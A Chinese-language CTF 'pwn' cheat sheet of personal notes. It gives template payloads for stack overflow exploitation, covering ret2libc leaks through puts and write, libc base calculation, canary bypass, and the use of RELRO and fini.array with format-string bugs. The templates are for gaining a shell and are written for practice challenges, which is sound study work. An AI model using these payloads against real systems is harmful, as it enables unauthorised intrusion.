PWN PWN PWN !!! 技巧 (1)
简介:
记录一下,基础的知识点和一些工具的用法,解题模板等(本人记性差时不时会忘记,记录一下与大家共勉)
32位传参
32位传参的方式是通过栈来传参的,与构造的payload也是有关的,大致如下:(有时候也会变根据题目意思来)
payload = 填充的数据 + system + 垃圾数据 + binsh |
64位传参
64位传参前六个参数是通过寄存器来传参的,分别为 rdi、rsi、rdx、rcx、r8、r9,之后的参数是通过栈传递的,同样构造 payload 也有一套,但还是需要具体问题具体分析,大致如下:
payload = 填充的数据 + rdi + binsh + system |
32位泄露libc之puts
这里只写构造 payload 的大体模板,其他的都是通式做多了就知道了(填充的数据是可以变的啊,main_addr 也就是你需要返回的地址)
第一次 payload 泄露 libc:
payload = b'A'*(0x20 + 4) + p32(elf.plt["puts"]) + p32(main_addr) + p32(elf.got['puts']) |
第二次 payload 获得 shell:
payload = b'A'*(0x20 + 4) + p32(ret_addr) + p32(sys_addr) + p32(0) + p32(bin_sh) |
64位泄露libc之puts
第一次 payload 泄露 libc:
payload = b'A'*(0x20 + 8) + p64(rdi_addr) + p64(elf.got['puts']) + p64(elf.plt["puts"]) + p64(main_addr) |
第二次 payload 得 shell:
payload = b'A'*(0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) |
32位泄露libc之write
第一次 payload 泄露 libc:
payload = b'A'*(0x20 + 4) + p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4) |
第二次 payload 获得 shell:
payload = b'A'*(0x20 + 4) + p32(ret_addr) + p32(sys_addr) + p32(0) + p32(bin_sh) |
64位泄露libc之write
第一次 payload 泄露 libc:
payload = b'A' * (0x20 + 8) + p64(rdi_addr) + p64(1) + p64(pop_rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(main_addr) |
第二次 payload 得 shell:
payload = b'A' * (0x20 + 8) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) |
泄露libc之有libc文件
给 fresh pwner 提醒下,这里的 puts 是可以换的(看你是通过 puts 函数泄露的还是通过 write 函数泄露的,通过哪个写哪个)仔细观察有无 libc 文件的区别(发现没中小括号也是要区分的哦,可以自己试试)
libc_base = puts_addr - libc.sym['puts'] |
泄露libc之无libc文件
libc = LibcSearcher('puts', puts_addr) |
Canary
第一次泄露 libc:
payload = b'A'*(0x20 - 8) + p64(canary) + p64(0) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(vuln) |
第二次获得 shell:
payload = b'A'*(0x20 - 8) + p64(canary) + p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) |
Relro
- RELRO 防御策略:
- NO RELRO:
init.array、fini.array、got.plt均可读可写 - PARTIAL RELRO:
init.array、fini.array可读不可写,got.plt可读可写 - FULL RELRO:
init.array、fini.array、got.plt均可读不可写
- NO RELRO:
- Linux 程序运行时:
- 在加载的时候,会依次调用
init.array数组中的每一个函数指针 - 在结束的时候,依次调用
fini.array中的每一个函数指针
- 在加载的时候,会依次调用
- 当程序出现格式化字符串漏洞,但是至少需要写两次才能完成攻击。
- 当少于两个输入点时,可以考虑改写
fini.array中的函数指针为main函数地址,可以再执行一次main函数。 - 一般来说,这个数组的长度为 1,也就是说只能写一个地址。
- 当少于两个输入点时,可以考虑改写
总结:
多做 pwn,多总结,加油,冲冲冲!!!